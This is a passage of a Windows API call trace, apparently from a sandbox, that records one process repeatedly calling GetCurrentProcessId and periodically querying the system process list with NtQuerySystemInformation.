SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cc20) returned 0x0 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.326] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.327] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.328] GetCurrentProcessId () returned 0xbf4 [0210.329] GetCurrentProcessId () returned 0xbf4 [0210.329] GetCurrentProcessId () returned 0xbf4 [0210.329] GetCurrentProcessId () returned 0xbf4 [0210.329] GetCurrentProcessId () returned 0xbf4 [0210.329] GetCurrentProcessId () returned 0xbf4 [0210.329] GetCurrentProcessId () returned 0xbf4 [0210.329] GetCurrentProcessId () returned 0xbf4 [0210.329] GetCurrentProcessId () returned 0xbf4 [0210.329] GetCurrentProcessId () returned 0xbf4 [0210.329] GetCurrentProcessId () returned 0xbf4 [0210.989] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cc20) returned 0x0 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.995] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.996] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.997] GetCurrentProcessId () returned 0xbf4 [0210.998] GetCurrentProcessId () returned 0xbf4 [0210.998] GetCurrentProcessId () returned 0xbf4 [0210.998] GetCurrentProcessId () returned 0xbf4 [0210.998] GetCurrentProcessId () returned 0xbf4 [0210.998] GetCurrentProcessId () returned 0xbf4 [0210.998] GetCurrentProcessId () returned 0xbf4 [0210.998] GetCurrentProcessId () returned 0xbf4 [0210.998] GetCurrentProcessId () returned 0xbf4 [0210.998] GetCurrentProcessId () returned 0xbf4 [0210.998] GetCurrentProcessId () returned 0xbf4 [0210.998] GetCurrentProcessId () returned 0xbf4 [0210.998] GetCurrentProcessId () returned 0xbf4 [0210.998] GetCurrentProcessId () returned 0xbf4 [0211.639] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cc20) returned 0x0 [0211.642] GetCurrentProcessId () returned 0xbf4 [0211.642] GetCurrentProcessId () returned 0xbf4 [0211.642] GetCurrentProcessId () returned 0xbf4 [0211.642] GetCurrentProcessId () returned 0xbf4 [0211.642] GetCurrentProcessId () returned 0xbf4 [0211.642] GetCurrentProcessId () returned 0xbf4 [0211.642] GetCurrentProcessId () returned 0xbf4 [0211.642] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.643] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.644] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0211.645] GetCurrentProcessId () returned 0xbf4 [0212.331] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cc20) returned 0x0 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.333] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.334] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0212.335] GetCurrentProcessId () returned 0xbf4 [0213.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cc20) returned 0x0 [0213.026] GetCurrentProcessId () returned 0xbf4 [0213.026] GetCurrentProcessId () returned 0xbf4 [0213.026] GetCurrentProcessId () returned 0xbf4 [0213.026] GetCurrentProcessId () returned 0xbf4 [0213.026] GetCurrentProcessId () returned 0xbf4 [0213.026] GetCurrentProcessId () returned 0xbf4 [0213.026] GetCurrentProcessId () returned 0xbf4 [0213.026] GetCurrentProcessId () returned 0xbf4 [0213.026] GetCurrentProcessId () returned 0xbf4 [0213.026] GetCurrentProcessId () returned 0xbf4 [0213.026] GetCurrentProcessId () returned 0xbf4 [0213.026] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.027] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.028] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.029] GetCurrentProcessId () returned 0xbf4 [0213.760] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cc70) returned 0x0 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () returned 0xbf4 [0213.762] GetCurrentProcessId () 